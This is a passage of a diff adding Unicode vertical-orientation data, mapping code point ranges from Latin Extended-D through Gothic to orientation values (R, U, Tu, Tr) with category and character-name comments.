+A7B0..A7B7     ; R  # L&     [8] LATIN CAPITAL LETTER TURNED K..LATIN SMALL LETTER OMEGA
+A7F7           ; R  # Lo         LATIN EPIGRAPHIC LETTER SIDEWAYS I
+A7F8..A7F9     ; R  # Lm     [2] MODIFIER LETTER CAPITAL H WITH STROKE..MODIFIER LETTER SMALL LIGATURE OE
+A7FA           ; R  # Ll         LATIN LETTER SMALL CAPITAL TURNED M
+A7FB..A7FF     ; R  # Lo     [5] LATIN EPIGRAPHIC LETTER REVERSED F..LATIN EPIGRAPHIC LETTER ARCHAIC M
+A800..A801     ; R  # Lo     [2] SYLOTI NAGRI LETTER A..SYLOTI NAGRI LETTER I
+A802           ; R  # Mn         SYLOTI NAGRI SIGN DVISVARA
+A803..A805     ; R  # Lo     [3] SYLOTI NAGRI LETTER U..SYLOTI NAGRI LETTER O
+A806           ; R  # Mn         SYLOTI NAGRI SIGN HASANTA
+A807..A80A     ; R  # Lo     [4] SYLOTI NAGRI LETTER KO..SYLOTI NAGRI LETTER GHO
+A80B           ; R  # Mn         SYLOTI NAGRI SIGN ANUSVARA
+A80C..A822     ; R  # Lo    [23] SYLOTI NAGRI LETTER CO..SYLOTI NAGRI LETTER HO
+A823..A824     ; R  # Mc     [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I
+A825..A826     ; R  # Mn     [2] SYLOTI NAGRI VOWEL SIGN U..SYLOTI NAGRI VOWEL SIGN E
+A827           ; R  # Mc         SYLOTI NAGRI VOWEL SIGN OO
+A828..A82B     ; R  # So     [4] SYLOTI NAGRI POETRY MARK-1..SYLOTI NAGRI POETRY MARK-4
+A830..A835     ; R  # No     [6] NORTH INDIC FRACTION ONE QUARTER..NORTH INDIC FRACTION THREE SIXTEENTHS
+A836..A837     ; R  # So     [2] NORTH INDIC QUARTER MARK..NORTH INDIC PLACEHOLDER MARK
+A838           ; R  # Sc         NORTH INDIC RUPEE MARK
+A839           ; R  # So         NORTH INDIC QUANTITY MARK
+A840..A873     ; R  # Lo    [52] PHAGS-PA LETTER KA..PHAGS-PA LETTER CANDRABINDU
+A874..A877     ; R  # Po     [4] PHAGS-PA SINGLE HEAD MARK..PHAGS-PA MARK DOUBLE SHAD
+A880..A881     ; R  # Mc     [2] SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VISARGA
+A882..A8B3     ; R  # Lo    [50] SAURASHTRA LETTER A..SAURASHTRA LETTER LLA
+A8B4..A8C3     ; R  # Mc    [16] SAURASHTRA CONSONANT SIGN HAARU..SAURASHTRA VOWEL SIGN AU
+A8C4..A8C5     ; R  # Mn     [2] SAURASHTRA SIGN VIRAMA..SAURASHTRA SIGN CANDRABINDU
+A8CE..A8CF     ; R  # Po     [2] SAURASHTRA DANDA..SAURASHTRA DOUBLE DANDA
+A8D0..A8D9     ; R  # Nd    [10] SAURASHTRA DIGIT ZERO..SAURASHTRA DIGIT NINE
+A8E0..A8F1     ; R  # Mn    [18] COMBINING DEVANAGARI DIGIT ZERO..COMBINING DEVANAGARI SIGN AVAGRAHA
+A8F2..A8F7     ; R  # Lo     [6] DEVANAGARI SIGN SPACING CANDRABINDU..DEVANAGARI SIGN CANDRABINDU AVAGRAHA
+A8F8..A8FA     ; R  # Po     [3] DEVANAGARI SIGN PUSHPIKA..DEVANAGARI CARET
+A8FB           ; R  # Lo         DEVANAGARI HEADSTROKE
+A8FC           ; R  # Po         DEVANAGARI SIGN SIDDHAM
+A8FD           ; R  # Lo         DEVANAGARI JAIN OM
+A900..A909     ; R  # Nd    [10] KAYAH LI DIGIT ZERO..KAYAH LI DIGIT NINE
+A90A..A925     ; R  # Lo    [28] KAYAH LI LETTER KA..KAYAH LI LETTER OO
+A926..A92D     ; R  # Mn     [8] KAYAH LI VOWEL UE..KAYAH LI TONE CALYA PLOPHU
+A92E..A92F     ; R  # Po     [2] KAYAH LI SIGN CWI..KAYAH LI SIGN SHYA
+A930..A946     ; R  # Lo    [23] REJANG LETTER KA..REJANG LETTER A
+A947..A951     ; R  # Mn    [11] REJANG VOWEL SIGN I..REJANG CONSONANT SIGN R
+A952..A953     ; R  # Mc     [2] REJANG CONSONANT SIGN H..REJANG VIRAMA
+A95F           ; R  # Po         REJANG SECTION MARK
+A960..A97C     ; U  # Lo    [29] HANGUL CHOSEONG TIKEUT-MIEUM..HANGUL CHOSEONG SSANGYEORINHIEUH
+A97D..A97F     ; U  # Cn     [3] <reserved-A97D>..<reserved-A97F>
+A980..A982     ; R  # Mn     [3] JAVANESE SIGN PANYANGGA..JAVANESE SIGN LAYAR
+A983           ; R  # Mc         JAVANESE SIGN WIGNYAN
+A984..A9B2     ; R  # Lo    [47] JAVANESE LETTER A..JAVANESE LETTER HA
+A9B3           ; R  # Mn         JAVANESE SIGN CECAK TELU
+A9B4..A9B5     ; R  # Mc     [2] JAVANESE VOWEL SIGN TARUNG..JAVANESE VOWEL SIGN TOLONG
+A9B6..A9B9     ; R  # Mn     [4] JAVANESE VOWEL SIGN WULU..JAVANESE VOWEL SIGN SUKU MENDUT
+A9BA..A9BB     ; R  # Mc     [2] JAVANESE VOWEL SIGN TALING..JAVANESE VOWEL SIGN DIRGA MURE
+A9BC           ; R  # Mn         JAVANESE VOWEL SIGN PEPET
+A9BD..A9C0     ; R  # Mc     [4] JAVANESE CONSONANT SIGN KERET..JAVANESE PANGKON
+A9C1..A9CD     ; R  # Po    [13] JAVANESE LEFT RERENGGAN..JAVANESE TURNED PADA PISELEH
+A9CF           ; R  # Lm         JAVANESE PANGRANGKEP
+A9D0..A9D9     ; R  # Nd    [10] JAVANESE DIGIT ZERO..JAVANESE DIGIT NINE
+A9DE..A9DF     ; R  # Po     [2] JAVANESE PADA TIRTA TUMETES..JAVANESE PADA ISEN-ISEN
+A9E0..A9E4     ; R  # Lo     [5] MYANMAR LETTER SHAN GHA..MYANMAR LETTER SHAN BHA
+A9E5           ; R  # Mn         MYANMAR SIGN SHAN SAW
+A9E6           ; R  # Lm         MYANMAR MODIFIER LETTER SHAN REDUPLICATION
+A9E7..A9EF     ; R  # Lo     [9] MYANMAR LETTER TAI LAING NYA..MYANMAR LETTER TAI LAING NNA
+A9F0..A9F9     ; R  # Nd    [10] MYANMAR TAI LAING DIGIT ZERO..MYANMAR TAI LAING DIGIT NINE
+A9FA..A9FE     ; R  # Lo     [5] MYANMAR LETTER TAI LAING LLA..MYANMAR LETTER TAI LAING BHA
+AA00..AA28     ; R  # Lo    [41] CHAM LETTER A..CHAM LETTER HA
+AA29..AA2E     ; R  # Mn     [6] CHAM VOWEL SIGN AA..CHAM VOWEL SIGN OE
+AA2F..AA30     ; R  # Mc     [2] CHAM VOWEL SIGN O..CHAM VOWEL SIGN AI
+AA31..AA32     ; R  # Mn     [2] CHAM VOWEL SIGN AU..CHAM VOWEL SIGN UE
+AA33..AA34     ; R  # Mc     [2] CHAM CONSONANT SIGN YA..CHAM CONSONANT SIGN RA
+AA35..AA36     ; R  # Mn     [2] CHAM CONSONANT SIGN LA..CHAM CONSONANT SIGN WA
+AA40..AA42     ; R  # Lo     [3] CHAM LETTER FINAL K..CHAM LETTER FINAL NG
+AA43           ; R  # Mn         CHAM CONSONANT SIGN FINAL NG
+AA44..AA4B     ; R  # Lo     [8] CHAM LETTER FINAL CH..CHAM LETTER FINAL SS
+AA4C           ; R  # Mn         CHAM CONSONANT SIGN FINAL M
+AA4D           ; R  # Mc         CHAM CONSONANT SIGN FINAL H
+AA50..AA59     ; R  # Nd    [10] CHAM DIGIT ZERO..CHAM DIGIT NINE
+AA5C..AA5F     ; R  # Po     [4] CHAM PUNCTUATION SPIRAL..CHAM PUNCTUATION TRIPLE DANDA
+AA60..AA6F     ; R  # Lo    [16] MYANMAR LETTER KHAMTI GA..MYANMAR LETTER KHAMTI FA
+AA70           ; R  # Lm         MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION
+AA71..AA76     ; R  # Lo     [6] MYANMAR LETTER KHAMTI XA..MYANMAR LOGOGRAM KHAMTI HM
+AA77..AA79     ; R  # So     [3] MYANMAR SYMBOL AITON EXCLAMATION..MYANMAR SYMBOL AITON TWO
+AA7A           ; R  # Lo         MYANMAR LETTER AITON RA
+AA7B           ; R  # Mc         MYANMAR SIGN PAO KAREN TONE
+AA7C           ; R  # Mn         MYANMAR SIGN TAI LAING TONE-2
+AA7D           ; R  # Mc         MYANMAR SIGN TAI LAING TONE-5
+AA7E..AA7F     ; R  # Lo     [2] MYANMAR LETTER SHWE PALAUNG CHA..MYANMAR LETTER SHWE PALAUNG SHA
+AA80..AAAF     ; R  # Lo    [48] TAI VIET LETTER LOW KO..TAI VIET LETTER HIGH O
+AAB0           ; R  # Mn         TAI VIET MAI KANG
+AAB1           ; R  # Lo         TAI VIET VOWEL AA
+AAB2..AAB4     ; R  # Mn     [3] TAI VIET VOWEL I..TAI VIET VOWEL U
+AAB5..AAB6     ; R  # Lo     [2] TAI VIET VOWEL E..TAI VIET VOWEL O
+AAB7..AAB8     ; R  # Mn     [2] TAI VIET MAI KHIT..TAI VIET VOWEL IA
+AAB9..AABD     ; R  # Lo     [5] TAI VIET VOWEL UEA..TAI VIET VOWEL AN
+AABE..AABF     ; R  # Mn     [2] TAI VIET VOWEL AM..TAI VIET TONE MAI EK
+AAC0           ; R  # Lo         TAI VIET TONE MAI NUENG
+AAC1           ; R  # Mn         TAI VIET TONE MAI THO
+AAC2           ; R  # Lo         TAI VIET TONE MAI SONG
+AADB..AADC     ; R  # Lo     [2] TAI VIET SYMBOL KON..TAI VIET SYMBOL NUENG
+AADD           ; R  # Lm         TAI VIET SYMBOL SAM
+AADE..AADF     ; R  # Po     [2] TAI VIET SYMBOL HO HOI..TAI VIET SYMBOL KOI KOI
+AAE0..AAEA     ; R  # Lo    [11] MEETEI MAYEK LETTER E..MEETEI MAYEK LETTER SSA
+AAEB           ; R  # Mc         MEETEI MAYEK VOWEL SIGN II
+AAEC..AAED     ; R  # Mn     [2] MEETEI MAYEK VOWEL SIGN UU..MEETEI MAYEK VOWEL SIGN AAI
+AAEE..AAEF     ; R  # Mc     [2] MEETEI MAYEK VOWEL SIGN AU..MEETEI MAYEK VOWEL SIGN AAU
+AAF0..AAF1     ; R  # Po     [2] MEETEI MAYEK CHEIKHAN..MEETEI MAYEK AHANG KHUDAM
+AAF2           ; R  # Lo         MEETEI MAYEK ANJI
+AAF3..AAF4     ; R  # Lm     [2] MEETEI MAYEK SYLLABLE REPETITION MARK..MEETEI MAYEK WORD REPETITION MARK
+AAF5           ; R  # Mc         MEETEI MAYEK VOWEL SIGN VISARGA
+AAF6           ; R  # Mn         MEETEI MAYEK VIRAMA
+AB01..AB06     ; R  # Lo     [6] ETHIOPIC SYLLABLE TTHU..ETHIOPIC SYLLABLE TTHO
+AB09..AB0E     ; R  # Lo     [6] ETHIOPIC SYLLABLE DDHU..ETHIOPIC SYLLABLE DDHO
+AB11..AB16     ; R  # Lo     [6] ETHIOPIC SYLLABLE DZU..ETHIOPIC SYLLABLE DZO
+AB20..AB26     ; R  # Lo     [7] ETHIOPIC SYLLABLE CCHHA..ETHIOPIC SYLLABLE CCHHO
+AB28..AB2E     ; R  # Lo     [7] ETHIOPIC SYLLABLE BBA..ETHIOPIC SYLLABLE BBO
+AB30..AB5A     ; R  # Ll    [43] LATIN SMALL LETTER BARRED ALPHA..LATIN SMALL LETTER Y WITH SHORT RIGHT LEG
+AB5B           ; R  # Sk         MODIFIER BREVE WITH INVERTED BREVE
+AB5C..AB5F     ; R  # Lm     [4] MODIFIER LETTER SMALL HENG..MODIFIER LETTER SMALL U WITH LEFT HOOK
+AB60..AB65     ; R  # Ll     [6] LATIN SMALL LETTER SAKHA YAT..GREEK LETTER SMALL CAPITAL OMEGA
+AB70..ABBF     ; R  # Ll    [80] CHEROKEE SMALL LETTER A..CHEROKEE SMALL LETTER YA
+ABC0..ABE2     ; R  # Lo    [35] MEETEI MAYEK LETTER KOK..MEETEI MAYEK LETTER I LONSUM
+ABE3..ABE4     ; R  # Mc     [2] MEETEI MAYEK VOWEL SIGN ONAP..MEETEI MAYEK VOWEL SIGN INAP
+ABE5           ; R  # Mn         MEETEI MAYEK VOWEL SIGN ANAP
+ABE6..ABE7     ; R  # Mc     [2] MEETEI MAYEK VOWEL SIGN YENAP..MEETEI MAYEK VOWEL SIGN SOUNAP
+ABE8           ; R  # Mn         MEETEI MAYEK VOWEL SIGN UNAP
+ABE9..ABEA     ; R  # Mc     [2] MEETEI MAYEK VOWEL SIGN CHEINAP..MEETEI MAYEK VOWEL SIGN NUNG
+ABEB           ; R  # Po         MEETEI MAYEK CHEIKHEI
+ABEC           ; R  # Mc         MEETEI MAYEK LUM IYEK
+ABED           ; R  # Mn         MEETEI MAYEK APUN IYEK
+ABF0..ABF9     ; R  # Nd    [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE
+AC00..D7A3     ; U  # Lo [11172] HANGUL SYLLABLE GA..HANGUL SYLLABLE HIH
+D7A4..D7AF     ; U  # Cn    [12] <reserved-D7A4>..<reserved-D7AF>
+D7B0..D7C6     ; U  # Lo    [23] HANGUL JUNGSEONG O-YEO..HANGUL JUNGSEONG ARAEA-E
+D7C7..D7CA     ; U  # Cn     [4] <reserved-D7C7>..<reserved-D7CA>
+D7CB..D7FB     ; U  # Lo    [49] HANGUL JONGSEONG NIEUN-RIEUL..HANGUL JONGSEONG PHIEUPH-THIEUTH
+D7FC..D7FF     ; U  # Cn     [4] <reserved-D7FC>..<reserved-D7FF>
+D800..DFFF     ; R  # Cs  [2048] <surrogate-D800>..<surrogate-DFFF>
+E000..F8FF     ; U  # Co  [6400] <private-use-E000>..<private-use-F8FF>
+F900..FA6D     ; U  # Lo   [366] CJK COMPATIBILITY IDEOGRAPH-F900..CJK COMPATIBILITY IDEOGRAPH-FA6D
+FA6E..FA6F     ; U  # Cn     [2] <reserved-FA6E>..<reserved-FA6F>
+FA70..FAD9     ; U  # Lo   [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COMPATIBILITY IDEOGRAPH-FAD9
+FADA..FAFF     ; U  # Cn    [38] <reserved-FADA>..<reserved-FAFF>
+FB00..FB06     ; R  # Ll     [7] LATIN SMALL LIGATURE FF..LATIN SMALL LIGATURE ST
+FB13..FB17     ; R  # Ll     [5] ARMENIAN SMALL LIGATURE MEN NOW..ARMENIAN SMALL LIGATURE MEN XEH
+FB1D           ; R  # Lo         HEBREW LETTER YOD WITH HIRIQ
+FB1E           ; R  # Mn         HEBREW POINT JUDEO-SPANISH VARIKA
+FB1F..FB28     ; R  # Lo    [10] HEBREW LIGATURE YIDDISH YOD YOD PATAH..HEBREW LETTER WIDE TAV
+FB29           ; R  # Sm         HEBREW LETTER ALTERNATIVE PLUS SIGN
+FB2A..FB36     ; R  # Lo    [13] HEBREW LETTER SHIN WITH SHIN DOT..HEBREW LETTER ZAYIN WITH DAGESH
+FB38..FB3C     ; R  # Lo     [5] HEBREW LETTER TET WITH DAGESH..HEBREW LETTER LAMED WITH DAGESH
+FB3E           ; R  # Lo         HEBREW LETTER MEM WITH DAGESH
+FB40..FB41     ; R  # Lo     [2] HEBREW LETTER NUN WITH DAGESH..HEBREW LETTER SAMEKH WITH DAGESH
+FB43..FB44     ; R  # Lo     [2] HEBREW LETTER FINAL PE WITH DAGESH..HEBREW LETTER PE WITH DAGESH
+FB46..FB4F     ; R  # Lo    [10] HEBREW LETTER TSADI WITH DAGESH..HEBREW LIGATURE ALEF LAMED
+FB50..FBB1     ; R  # Lo    [98] ARABIC LETTER ALEF WASLA ISOLATED FORM..ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM
+FBB2..FBC1     ; R  # Sk    [16] ARABIC SYMBOL DOT ABOVE..ARABIC SYMBOL SMALL TAH BELOW
+FBD3..FD3D     ; R  # Lo   [363] ARABIC LETTER NG ISOLATED FORM..ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM
+FD3E           ; R  # Pe         ORNATE LEFT PARENTHESIS
+FD3F           ; R  # Ps         ORNATE RIGHT PARENTHESIS
+FD50..FD8F     ; R  # Lo    [64] ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM..ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
+FD92..FDC7     ; R  # Lo    [54] ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM..ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
+FDF0..FDFB     ; R  # Lo    [12] ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM..ARABIC LIGATURE JALLAJALALOUHOU
+FDFC           ; R  # Sc         RIAL SIGN
+FDFD           ; R  # So         ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
+FE00..FE0F     ; R  # Mn    [16] VARIATION SELECTOR-1..VARIATION SELECTOR-16
+FE10..FE16     ; U  # Po     [7] PRESENTATION FORM FOR VERTICAL COMMA..PRESENTATION FORM FOR VERTICAL QUESTION MARK
+FE17           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET
+FE18           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET
+FE19           ; U  # Po         PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS
+FE1A..FE1F     ; U  # Cn     [6] <reserved-FE1A>..<reserved-FE1F>
+FE20..FE2F     ; R  # Mn    [16] COMBINING LIGATURE LEFT HALF..COMBINING CYRILLIC TITLO RIGHT HALF
+FE30           ; U  # Po         PRESENTATION FORM FOR VERTICAL TWO DOT LEADER
+FE31..FE32     ; U  # Pd     [2] PRESENTATION FORM FOR VERTICAL EM DASH..PRESENTATION FORM FOR VERTICAL EN DASH
+FE33..FE34     ; U  # Pc     [2] PRESENTATION FORM FOR VERTICAL LOW LINE..PRESENTATION FORM FOR VERTICAL WAVY LOW LINE
+FE35           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS
+FE36           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS
+FE37           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET
+FE38           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET
+FE39           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET
+FE3A           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET
+FE3B           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET
+FE3C           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET
+FE3D           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET
+FE3E           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET
+FE3F           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET
+FE40           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET
+FE41           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET
+FE42           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET
+FE43           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET
+FE44           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET
+FE45..FE46     ; U  # Po     [2] SESAME DOT..WHITE SESAME DOT
+FE47           ; U  # Ps         PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET
+FE48           ; U  # Pe         PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET
+FE49..FE4C     ; R  # Po     [4] DASHED OVERLINE..DOUBLE WAVY OVERLINE
+FE4D..FE4F     ; R  # Pc     [3] DASHED LOW LINE..WAVY LOW LINE
+FE50..FE52     ; Tu # Po     [3] SMALL COMMA..SMALL FULL STOP
+FE53           ; U  # Cn         <reserved-FE53>
+FE54..FE57     ; U  # Po     [4] SMALL SEMICOLON..SMALL EXCLAMATION MARK
+FE58           ; R  # Pd         SMALL EM DASH
+FE59           ; Tr # Ps         SMALL LEFT PARENTHESIS
+FE5A           ; Tr # Pe         SMALL RIGHT PARENTHESIS
+FE5B           ; Tr # Ps         SMALL LEFT CURLY BRACKET
+FE5C           ; Tr # Pe         SMALL RIGHT CURLY BRACKET
+FE5D           ; Tr # Ps         SMALL LEFT TORTOISE SHELL BRACKET
+FE5E           ; Tr # Pe         SMALL RIGHT TORTOISE SHELL BRACKET
+FE5F..FE61     ; U  # Po     [3] SMALL NUMBER SIGN..SMALL ASTERISK
+FE62           ; U  # Sm         SMALL PLUS SIGN
+FE63           ; R  # Pd         SMALL HYPHEN-MINUS
+FE64..FE66     ; R  # Sm     [3] SMALL LESS-THAN SIGN..SMALL EQUALS SIGN
+FE67           ; U  # Cn         <reserved-FE67>
+FE68           ; U  # Po         SMALL REVERSE SOLIDUS
+FE69           ; U  # Sc         SMALL DOLLAR SIGN
+FE6A..FE6B     ; U  # Po     [2] SMALL PERCENT SIGN..SMALL COMMERCIAL AT
+FE6C..FE6F     ; U  # Cn     [4] <reserved-FE6C>..<reserved-FE6F>
+FE70..FE74     ; R  # Lo     [5] ARABIC FATHATAN ISOLATED FORM..ARABIC KASRATAN ISOLATED FORM
+FE76..FEFC     ; R  # Lo   [135] ARABIC FATHA ISOLATED FORM..ARABIC LIGATURE LAM WITH ALEF FINAL FORM
+FEFF           ; R  # Cf         ZERO WIDTH NO-BREAK SPACE
+FF01           ; Tu # Po         FULLWIDTH EXCLAMATION MARK
+FF02..FF03     ; U  # Po     [2] FULLWIDTH QUOTATION MARK..FULLWIDTH NUMBER SIGN
+FF04           ; U  # Sc         FULLWIDTH DOLLAR SIGN
+FF05..FF07     ; U  # Po     [3] FULLWIDTH PERCENT SIGN..FULLWIDTH APOSTROPHE
+FF08           ; Tr # Ps         FULLWIDTH LEFT PARENTHESIS
+FF09           ; Tr # Pe         FULLWIDTH RIGHT PARENTHESIS
+FF0A           ; U  # Po         FULLWIDTH ASTERISK
+FF0B           ; U  # Sm         FULLWIDTH PLUS SIGN
+FF0C           ; Tu # Po         FULLWIDTH COMMA
+FF0D           ; R  # Pd         FULLWIDTH HYPHEN-MINUS
+FF0E           ; Tu # Po         FULLWIDTH FULL STOP
+FF0F           ; U  # Po         FULLWIDTH SOLIDUS
+FF10..FF19     ; U  # Nd    [10] FULLWIDTH DIGIT ZERO..FULLWIDTH DIGIT NINE
+FF1A..FF1B     ; Tr # Po     [2] FULLWIDTH COLON..FULLWIDTH SEMICOLON
+FF1C..FF1E     ; R  # Sm     [3] FULLWIDTH LESS-THAN SIGN..FULLWIDTH GREATER-THAN SIGN
+FF1F           ; Tu # Po         FULLWIDTH QUESTION MARK
+FF20           ; U  # Po         FULLWIDTH COMMERCIAL AT
+FF21..FF3A     ; U  # Lu    [26] FULLWIDTH LATIN CAPITAL LETTER A..FULLWIDTH LATIN CAPITAL LETTER Z
+FF3B           ; Tr # Ps         FULLWIDTH LEFT SQUARE BRACKET
+FF3C           ; U  # Po         FULLWIDTH REVERSE SOLIDUS
+FF3D           ; Tr # Pe         FULLWIDTH RIGHT SQUARE BRACKET
+FF3E           ; U  # Sk         FULLWIDTH CIRCUMFLEX ACCENT
+FF3F           ; Tr # Pc         FULLWIDTH LOW LINE
+FF40           ; U  # Sk         FULLWIDTH GRAVE ACCENT
+FF41..FF5A     ; U  # Ll    [26] FULLWIDTH LATIN SMALL LETTER A..FULLWIDTH LATIN SMALL LETTER Z
+FF5B           ; Tr # Ps         FULLWIDTH LEFT CURLY BRACKET
+FF5C           ; Tr # Sm         FULLWIDTH VERTICAL LINE
+FF5D           ; Tr # Pe         FULLWIDTH RIGHT CURLY BRACKET
+FF5E           ; Tr # Sm         FULLWIDTH TILDE
+FF5F           ; Tr # Ps         FULLWIDTH LEFT WHITE PARENTHESIS
+FF60           ; Tr # Pe         FULLWIDTH RIGHT WHITE PARENTHESIS
+FF61           ; R  # Po         HALFWIDTH IDEOGRAPHIC FULL STOP
+FF62           ; R  # Ps         HALFWIDTH LEFT CORNER BRACKET
+FF63           ; R  # Pe         HALFWIDTH RIGHT CORNER BRACKET
+FF64..FF65     ; R  # Po     [2] HALFWIDTH IDEOGRAPHIC COMMA..HALFWIDTH KATAKANA MIDDLE DOT
+FF66..FF6F     ; R  # Lo    [10] HALFWIDTH KATAKANA LETTER WO..HALFWIDTH KATAKANA LETTER SMALL TU
+FF70           ; R  # Lm         HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK
+FF71..FF9D     ; R  # Lo    [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAKANA LETTER N
+FF9E..FF9F     ; R  # Lm     [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK
+FFA0..FFBE     ; R  # Lo    [31] HALFWIDTH HANGUL FILLER..HALFWIDTH HANGUL LETTER HIEUH
+FFC2..FFC7     ; R  # Lo     [6] HALFWIDTH HANGUL LETTER A..HALFWIDTH HANGUL LETTER E
+FFCA..FFCF     ; R  # Lo     [6] HALFWIDTH HANGUL LETTER YEO..HALFWIDTH HANGUL LETTER OE
+FFD2..FFD7     ; R  # Lo     [6] HALFWIDTH HANGUL LETTER YO..HALFWIDTH HANGUL LETTER YU
+FFDA..FFDC     ; R  # Lo     [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I
+FFE0..FFE1     ; U  # Sc     [2] FULLWIDTH CENT SIGN..FULLWIDTH POUND SIGN
+FFE2           ; U  # Sm         FULLWIDTH NOT SIGN
+FFE3           ; Tr # Sk         FULLWIDTH MACRON
+FFE4           ; U  # So         FULLWIDTH BROKEN BAR
+FFE5..FFE6     ; U  # Sc     [2] FULLWIDTH YEN SIGN..FULLWIDTH WON SIGN
+FFE7           ; U  # Cn         <reserved-FFE7>
+FFE8           ; R  # So         HALFWIDTH FORMS LIGHT VERTICAL
+FFE9..FFEC     ; R  # Sm     [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS ARROW
+FFED..FFEE     ; R  # So     [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE
+FFF0..FFF8     ; U  # Cn     [9] <reserved-FFF0>..<reserved-FFF8>
+FFF9..FFFB     ; R  # Cf     [3] INTERLINEAR ANNOTATION ANCHOR..INTERLINEAR ANNOTATION TERMINATOR
+FFFC..FFFD     ; U  # So     [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER
+10000..1000B   ; R  # Lo    [12] LINEAR B SYLLABLE B008 A..LINEAR B SYLLABLE B046 JE
+1000D..10026   ; R  # Lo    [26] LINEAR B SYLLABLE B036 JO..LINEAR B SYLLABLE B032 QO
+10028..1003A   ; R  # Lo    [19] LINEAR B SYLLABLE B060 RA..LINEAR B SYLLABLE B042 WO
+1003C..1003D   ; R  # Lo     [2] LINEAR B SYLLABLE B017 ZA..LINEAR B SYLLABLE B074 ZE
+1003F..1004D   ; R  # Lo    [15] LINEAR B SYLLABLE B020 ZO..LINEAR B SYLLABLE B091 TWO
+10050..1005D   ; R  # Lo    [14] LINEAR B SYMBOL B018..LINEAR B SYMBOL B089
+10080..100FA   ; R  # Lo   [123] LINEAR B IDEOGRAM B100 MAN..LINEAR B IDEOGRAM VESSEL B305
+10100..10102   ; R  # Po     [3] AEGEAN WORD SEPARATOR LINE..AEGEAN CHECK MARK
+10107..10133   ; R  # No    [45] AEGEAN NUMBER ONE..AEGEAN NUMBER NINETY THOUSAND
+10137..1013F   ; R  # So     [9] AEGEAN WEIGHT BASE UNIT..AEGEAN MEASURE THIRD SUBUNIT
+10140..10174   ; R  # Nl    [53] GREEK ACROPHONIC ATTIC ONE QUARTER..GREEK ACROPHONIC STRATIAN FIFTY MNAS
+10175..10178   ; R  # No     [4] GREEK ONE HALF SIGN..GREEK THREE QUARTERS SIGN
+10179..10189   ; R  # So    [17] GREEK YEAR SIGN..GREEK TRYBLION BASE SIGN
+1018A..1018B   ; R  # No     [2] GREEK ZERO SIGN..GREEK ONE QUARTER SIGN
+1018C..1018E   ; R  # So     [3] GREEK SINUSOID SIGN..NOMISMA SIGN
+10190..1019B   ; R  # So    [12] ROMAN SEXTANS SIGN..ROMAN CENTURIAL SIGN
+101A0          ; R  # So         GREEK SYMBOL TAU RHO
+101D0..101FC   ; R  # So    [45] PHAISTOS DISC SIGN PEDESTRIAN..PHAISTOS DISC SIGN WAVY BAND
+101FD          ; R  # Mn         PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE
+10280..1029C   ; R  # Lo    [29] LYCIAN LETTER A..LYCIAN LETTER X
+102A0..102D0   ; R  # Lo    [49] CARIAN LETTER A..CARIAN LETTER UUU3
+102E0          ; R  # Mn         COPTIC EPACT THOUSANDS MARK
+102E1..102FB   ; R  # No    [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
+10300..1031F   ; R  # Lo    [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
+10320..10323   ; R  # No     [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
+1032D..1032F   ; R  # Lo     [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE
+10330..10340   ; R  # Lo    [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+10341          ; R  # Nl         GOTHIC LETTER NINETY
